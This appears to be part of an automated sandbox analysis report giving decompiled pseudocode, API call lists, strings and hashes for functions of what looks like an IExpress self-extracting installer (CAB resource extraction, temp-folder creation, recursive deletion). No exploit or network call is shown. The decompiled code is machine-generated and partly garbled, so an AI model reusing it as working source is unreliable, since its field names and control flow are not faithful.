Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: 77eaeea485f721179010fab6cb6d6ecfa6bd5cbb3fa2a203cbab5f9586d26516
Instruction ID: de33878a7b7a57967c68cd5a2dfeca49cc0549f59f18fc14a4de0e1073a5de62
Opcode Fuzzy Hash: 77eaeea485f721179010fab6cb6d6ecfa6bd5cbb3fa2a203cbab5f9586d26516
Instruction Fuzzy Hash: CB7182B190020DAFEB6E9B24DDC4FEA77BEEB48344F4440A9E516E7144D7709E858F20

Uniqueness

Uniqueness Score: -1.00%

Function 011B4FA0, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E011B4FA0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t18;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0x11b9144 = E011B4669(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0x11b9140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0x11b8584; // 0x1502ae
				if(_t9 != 0) {
					_t18 = GetDlgItem(_t9, 0x842); // executed
					ShowWindow(_t18, 0); // executed
					ShowWindow(GetDlgItem( *0x11b8584, 0x841), 5); // executed
				}
				_t10 = E011B4ECB(0, 0);
				if(_t10 != 0) {
					__imp__#20(E011B4C70, E011B4C90, E011B4950, E011B4A20, E011B4AA0, E011B4B30, E011B4B90, 1, 0x11b9148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0x11b9148; // 0x0
						_t24 =  *0x11b8584; // 0x1502ae
						E011B4495(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0x11b1140, 0, E011B4CA0, 0, 0x11b9140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0x11b8584; // 0x1502ae
					E011B4495(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0x11b9140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0x11b9140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0x11b91d8; // 0x0
						if(_t47 == 0) {
							E011B4495(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0x11b8a38 & 0x00000001) == 0 && ( *0x11b9a34 & 0x00000001) == 0) {
						SendMessageA( *0x11b8584, 0xfa1, _t37, 0); // executed
					}
					return _t37;
				}
			}

0x011b4fa0
0x011b4fa6
0x011b4fb9
0x011b4fcd
0x011b4fd3
0x011b4fda
0x011b5123
0x011b5123
0x011b4fe0
0x011b4fe7
0x011b4ff0
0x011b4ff7
0x011b5011
0x011b5011
0x011b5017
0x011b501e
0x011b5067
0x011b506d
0x011b5074
0x011b50a8
0x011b50a8
0x011b50ae
0x011b50bf
0x011b50c4
0x011b50c6
0x00000000
0x011b50c6
0x011b508d
0x011b5093
0x011b509a
0x00000000
0x00000000
0x011b509d
0x011b50a6
0x00000000
0x00000000
0x00000000
0x011b5020
0x011b5020
0x011b5030
0x011b5035
0x011b50c7
0x011b50c7
0x011b50ce
0x011b50d1
0x011b50d7
0x011b50d7
0x011b50df
0x011b50e1
0x011b50e7
0x011b50f5
0x011b50f5
0x011b50e7
0x011b5101
0x011b5119
0x011b5119
0x00000000
0x011b511f

APIs

Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B467A
Part of subcall function 011B4669: SizeofResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B4683
Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B469D
Part of subcall function 011B4669: LoadResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46A6
Part of subcall function 011B4669: LockResource.KERNEL32(00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46AD
Part of subcall function 011B4669: memcpy_s.MSVCRT ref: 011B46BF
Part of subcall function 011B4669: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46C9

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 011B4FBE
LoadResource.KERNEL32(00000000,00000000), ref: 011B4FC6
LockResource.KERNEL32(00000000), ref: 011B4FCD
GetDlgItem.USER32(001502AE,00000842), ref: 011B4FF0
ShowWindow.USER32(00000000), ref: 011B4FF7
GetDlgItem.USER32(00000841,00000005), ref: 011B500A
ShowWindow.USER32(00000000), ref: 011B5011
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 011B50D1
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 011B5119

Strings

*MEMCAB, xrefs: 011B5087
CABINET, xrefs: 011B4FA6, 011B4FB7

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 36936014a8c74d76ffa3e7d374e334f4d16ec4859a7e90cc491023b9f10cbfe1
Instruction ID: 258fd224d0c2a3c402da6efeb784f540cd05786cb871fbd150215f88de6783ad
Opcode Fuzzy Hash: 36936014a8c74d76ffa3e7d374e334f4d16ec4859a7e90cc491023b9f10cbfe1
Instruction Fuzzy Hash: 5D31F6B16403057FE77C5B26BDC9FE73A5DAB08B55F044038FA12A324ADBB59C819B60

Uniqueness

Uniqueness Score: -1.00%

Function 011B2F10, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 119
libraryfileloaderCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E011B2F10(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0x11b8004; // 0x714bc98c
				_v8 = _t9 ^ _t46;
				if( *0x11b8a38 != 0) {
					L5:
					_t11 = E011B5124(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E011B6C80(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E011B555A(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E011B6534( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0x11ba288("C:\Users\jones\AppData\Local\Temp\IXP000.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0x11b8a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\jones\AppData\Local\Temp\IXP000.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0x11b8a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0x11b8d48 & 0x000000c0;
									if(( *0x11b8d48 & 0x000000c0) == 0) {
										_t41 =  *0x11b9a40; // 0x3, executed
										_t26 = E011B2570(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0x11b8a24; // 0x0
									 *0x11b9a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0x11b8a38;
										if( *0x11b8a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E011B4153(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0x11b9a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E011B3B8E(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0x11b8a24; // 0x0
										goto L26;
									}
								}
								_t27 = E011B3B12(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E011B4495(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0x11b9124 = E011B6233();
							goto L16;
						}
						_t59 =  *0x11b9a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E011B61CE(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0x11b8a24;
				if( *0x11b8a24 != 0) {
					L4:
					_t34 = E011B3A2B(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E011B51A5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0x11b8a38;
				if( *0x11b8a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x011b2f10
0x011b2f1b
0x011b2f22
0x011b2f30
0x011b2f5f
0x011b2f5f
0x011b2f64
0x011b2f66
0x011b3034
0x011b3034
0x011b3036
0x011b3044
0x011b3044
0x011b2f6c
0x011b2f73
0x00000000
0x011b2f79
0x011b2f79
0x011b2f86
0x011b2f91
0x011b2f93
0x011b2f99
0x011b2fab
0x011b2fad
0x011b2fb1
0x011b2fb9
0x011b2fbf
0x011b2fc7
0x011b2fc9
0x011b2fcb
0x011b2fd3
0x011b2fd9
0x011b2fe1
0x011b2fe3
0x011b2fe8
0x011b2fe8
0x011b2fe1
0x011b2fc7
0x011b2feb
0x011b2ff1
0x011b2ff7
0x011b300a
0x011b300f
0x011b3017
0x011b3045
0x011b304b
0x011b3056
0x011b3056
0x011b305d
0x011b305f
0x011b3066
0x011b306b
0x011b306b
0x011b306d
0x011b3072
0x011b3078
0x011b307a
0x011b3092
0x011b3092
0x011b309a
0x011b309c
0x011b309e
0x011b30a0
0x011b30a0
0x011b309e
0x011b30a7
0x00000000
0x011b307c
0x011b307c
0x011b3082
0x00000000
0x00000000
0x011b3084
0x011b3089
0x011b308b
0x00000000
0x00000000
0x011b308d
0x00000000
0x011b308d
0x011b307a
0x011b304d
0x011b3052
0x011b3054
0x00000000
0x00000000
0x00000000
0x011b3054
0x011b301e
0x011b3025
0x011b302f
0x00000000
0x011b302f
0x011b2ff9
0x011b2fff
0x00000000
0x00000000
0x011b3001
0x011b3008
0x00000000
0x00000000
0x00000000
0x011b3008
0x011b2f73
0x011b2f32
0x011b2f39
0x011b2f52
0x011b2f52
0x011b2f57
0x011b2f59
0x00000000
0x00000000
0x00000000
0x011b2f59
0x011b2f42
0x00000000
0x00000000
0x011b2f48
0x011b2f50
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 011B2F86
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 011B2FA5
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 011B2FB9
DecryptFileA.ADVAPI32 ref: 011B2FD9
FreeLibrary.KERNEL32(00000000), ref: 011B2FEB
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011B300F

Part of subcall function 011B51A5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,011B2F40,?,00000002,00000000), ref: 011B51C1

Strings

advapi32.dll, xrefs: 011B2F8C
DecryptFileA, xrefs: 011B2FB3
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B2FCE, 011B300A

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-1173327654
Opcode ID: 34c1810bb14e16a7ce4e83c8a327037def86115af8158f99e56f560abcefecc4
Instruction ID: b979bfc461cd109b3a6d4b5af7c6b6b91182049e0b454e579d3b23daf5db6410
Opcode Fuzzy Hash: 34c1810bb14e16a7ce4e83c8a327037def86115af8158f99e56f560abcefecc4
Instruction Fuzzy Hash: 0041C870A2024A9AEB3DAB39ACC46DA77ECFF58794F100179D631D2185EB70C4D5CB61

Uniqueness

Uniqueness Score: -1.00%

Function 011B5423, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E011B5423(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0x11b8004; // 0x714bc98c
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0x11b91e4;
					_t42 = 0x104;
					E011B16A0(0x11b91e4, 0x104);
					L14:
					_t13 = E011B5880(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0x11b9124 = 0;
							_t14 = 1;
							L24:
							return E011B6C80(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E011B5933(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0x11b8a20; // 0x0
						if(_t61 != 0) {
							 *0x11b8a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0x11b9124 = E011B6233();
						goto L22;
					}
					 *0x11b8a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E011B535F(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0x11b91e4;
				E011B17A1(0x11b91e4, 0x104, __ecx,  &_v268);
				if(( *0x11b9a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E011B6534(_t48, 0x104, 0x11b1140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E011B6534(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x011b542e
0x011b5435
0x011b543d
0x011b5440
0x011b54d8
0x011b54dd
0x011b54e4
0x011b54e9
0x011b54eb
0x011b54f5
0x011b5509
0x011b5509
0x011b550e
0x011b5541
0x011b5541
0x011b5547
0x011b5549
0x011b5557
0x011b5557
0x011b5513
0x011b551a
0x00000000
0x00000000
0x011b551c
0x011b5522
0x011b5525
0x011b552b
0x011b552b
0x011b553d
0x011b553d
0x00000000
0x011b553d
0x011b5501
0x011b5538
0x00000000
0x011b5538
0x011b5503
0x00000000
0x011b5503
0x011b5446
0x011b544c
0x011b5453
0x00000000
0x00000000
0x011b5459
0x011b5467
0x011b5470
0x011b547c
0x011b54c8
0x011b54cd
0x011b54d1
0x00000000
0x011b54d1
0x011b5485
0x011b5492
0x011b5494
0x011b54ba
0x011b54bf
0x011b54c3
0x00000000
0x011b54c3
0x011b5496
0x011b5499
0x011b54b3
0x00000000
0x011b54b3
0x011b549b
0x011b549e
0x011b54ac
0x00000000
0x011b54ac
0x011b54a3
0x00000000
0x00000000
0x011b54a5
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B5485
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B54F9
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B552B

Part of subcall function 011B535F: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B53B9
Part of subcall function 011B535F: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B53C0
Part of subcall function 011B535F: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B53DD
Part of subcall function 011B535F: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B53E9
Part of subcall function 011B535F: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011B53F2

Strings

i386, xrefs: 011B54BA
ppc, xrefs: 011B54A5
alpha, xrefs: 011B54AC
mips, xrefs: 011B54B3
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B5439, 011B543D, 011B5467, 011B54D8, 011B54F8, 011B5524

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3374052426
Opcode ID: 68ccde89e771f416184b01e815e5d741e445da3a68572f21d7f6fb76e120ab71
Instruction ID: 6ccbd378fa851ab44de8f55413fef0c8ebe148c087a41e00eab0b383ea90347d
Opcode Fuzzy Hash: 68ccde89e771f416184b01e815e5d741e445da3a68572f21d7f6fb76e120ab71
Instruction Fuzzy Hash: 0F315BB1B0120567DBAC9F3AA8C49FE7AAFAF90655F04403AD507D3148EB78C9428751

Uniqueness

Uniqueness Score: -1.00%

Function 011B2395, Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E011B2395(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0x11b8004; // 0x714bc98c
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E011B6C80(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E011B16A0( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E011B16D3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E011B16A0( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E011B16D3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80); // executed
							DeleteFileA( &_v280); // executed
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E011B16D3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E011B6534( &_v280, 0x104, 0x11b1140);
								E011B2395( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63);
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x011b239d
0x011b23a3
0x011b23a8
0x011b23aa
0x011b23b3
0x011b23b8
0x011b24d0
0x011b24d7
0x011b24d8
0x011b24d9
0x011b24e4
0x011b23c7
0x011b23d6
0x011b23e0
0x011b23e9
0x011b23fb
0x011b2401
0x011b2406
0x00000000
0x00000000
0x00000000
0x00000000
0x011b240c
0x011b240c
0x011b240d
0x011b2416
0x011b2424
0x011b247f
0x011b2488
0x011b249a
0x011b24a8
0x011b2426
0x011b2434
0x011b2458
0x011b2462
0x011b246b
0x011b2477
0x011b2477
0x011b2434
0x011b24b4
0x011b24ba
0x011b24c3
0x011b24ca
0x00000000
0x011b24ca

APIs

FindFirstFileA.KERNELBASE(?,011B8A3A,011B11F4,011B8A3A,00000000,?,?), ref: 011B23FB
lstrcmpA.KERNEL32(?,011B11F8), ref: 011B242C
lstrcmpA.KERNEL32(?,011B11FC), ref: 011B2440
SetFileAttributesA.KERNELBASE(?,00000080,?), ref: 011B249A
DeleteFileA.KERNELBASE(?), ref: 011B24A8
FindNextFileA.KERNELBASE(00000000,00000010), ref: 011B24B4
FindClose.KERNEL32(00000000), ref: 011B24C3
RemoveDirectoryA.KERNELBASE(011B8A3A), ref: 011B24CA

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: c44c47d7ab6e4cbaf0a10dc31ce699ae6fa9972001a85eff55a2888a4435bf6c
Instruction ID: e3223abedbdb81939d3100712c1b2904eed11115d73daa8acfbe254c86988655
Opcode Fuzzy Hash: c44c47d7ab6e4cbaf0a10dc31ce699ae6fa9972001a85eff55a2888a4435bf6c
Instruction Fuzzy Hash: 2531D332604744ABC338EB64ECC8AEB77ACAFD4345F04093DE56583240EB78A98DC752

Uniqueness

Uniqueness Score: -1.00%

Function 011B2BF2, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E011B2BF2(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0x11ba288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0x11b9124 = 0;
				if(E011B2CA1(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E011B2F10(_t18, _t20); // executed
					_t22 = _t9; // executed
					E011B5276(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0x11b8a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0x11b9a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E011B1F9B(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0x11b8588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x11b9124; // 0x0
				return _t7;
			}

0x011b2bfa
0x011b2c04
0x011b2c0f
0x011b2c17
0x011b2c25
0x011b2c29
0x011b2c2d
0x011b2c34
0x011b2c3a
0x011b2c3c
0x011b2c3e
0x011b2c40
0x011b2c45
0x011b2c45
0x011b2c3e
0x011b2c29
0x011b2c17
0x011b2c47
0x011b2c4b
0x011b2c4e
0x011b2c5b
0x011b2c5d
0x011b2c62
0x011b2c64
0x011b2c6b
0x011b2c6d
0x011b2c73
0x011b2c75
0x011b2c7e
0x011b2c80
0x011b2c80
0x011b2c7e
0x011b2c73
0x011b2c6b
0x011b2c85
0x011b2c8c
0x011b2c8f
0x011b2c8f
0x011b2c95
0x011b2c9e

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,011B6B50,011B0000,00000000,00000002,0000000A), ref: 011B2BFA
GetModuleHandleW.KERNEL32(Kernel32.dll,?,011B6B50,011B0000,00000000,00000002,0000000A), ref: 011B2C0F
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 011B2C1F
CloseHandle.KERNEL32(00000000,?,?,011B6B50,011B0000,00000000,00000002,0000000A), ref: 011B2C8F

Strings

HeapSetInformation, xrefs: 011B2C19
Kernel32.dll, xrefs: 011B2C0A

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 15af6646fec151ffe6e0c2e03d3df737b6ec9df05af2dfe83159e6bdc522b042
Instruction ID: 41b890b61a6447584e6ffa19db12d9c90db4ab114b35f984fcafa968f5d1109b
Opcode Fuzzy Hash: 15af6646fec151ffe6e0c2e03d3df737b6ec9df05af2dfe83159e6bdc522b042
Instruction Fuzzy Hash: 5C11C6B12102056BE73C6AF9B8D8AE73B5D9F446A8B150038FA2187244DB74EC8D8760

Uniqueness

Uniqueness Score: -1.00%

Function 011B6EE0, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B6EE0() {

				SetUnhandledExceptionFilter(E011B6E90); // executed
				return 0;
			}

0x011b6ee5
0x011b6eed

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006E90), ref: 011B6EE5

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

